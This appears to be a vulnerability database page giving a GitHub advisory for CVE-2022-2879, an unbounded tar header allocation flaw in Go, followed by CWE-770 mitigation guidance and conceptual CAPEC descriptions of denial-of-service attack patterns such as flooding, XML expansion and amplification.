"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-FQPX-62JV-7R6R
Vulnerability from github – Published: 2022-10-14 19:00 – Updated: 2022-10-18 19:00Reader.Read does not set a limit on the maximum size of file headers. A maliciously crafted archive could cause Read to allocate unbounded amounts of memory, potentially causing resource exhaustion or panics. After fix, Reader.Read limits the maximum size of header blocks to 1 MiB.
{
"affected": [],
"aliases": [
"CVE-2022-2879"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-10-14T15:15:00Z",
"severity": "HIGH"
},
"details": "Reader.Read does not set a limit on the maximum size of file headers. A maliciously crafted archive could cause Read to allocate unbounded amounts of memory, potentially causing resource exhaustion or panics. After fix, Reader.Read limits the maximum size of header blocks to 1 MiB.",
"id": "GHSA-fqpx-62jv-7r6r",
"modified": "2022-10-18T19:00:35Z",
"published": "2022-10-14T19:00:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2879"
},
{
"type": "WEB",
"url": "https://go.dev/cl/439355"
},
{
"type": "WEB",
"url": "https://go.dev/issue/54853"
},
{
"type": "WEB",
"url": "https://groups.google.com/g/golang-announce/c/xtuG5faxtaU"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/THKJHFMX4DAZXJ5MFPN3BNHZDN7BW5RI"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2022-1037"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202311-09"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Mitigation
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation MIT-38.1
- If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
- Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Strategy: Resource Limitation
- Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding
An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-197: Exponential Data Expansion
An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.
CAPEC-229: Serialized Data Parameter Blowup
This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.
CAPEC-469: HTTP DoS
An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.
CAPEC-482: TCP Flood
An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.
CAPEC-486: UDP Flood
An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-487: ICMP Flood
An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-488: HTTP Flood
An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.
CAPEC-489: SSL Flood
An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.
CAPEC-490: Amplification
An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.
CAPEC-491: Quadratic Data Expansion
An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.
CAPEC-493: SOAP Array Blowup
An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.
CAPEC-494: TCP Fragmentation
An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.
CAPEC-495: UDP Fragmentation
An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.
CAPEC-496: ICMP Fragmentation
An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.
CAPEC-528: XML Flood
An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.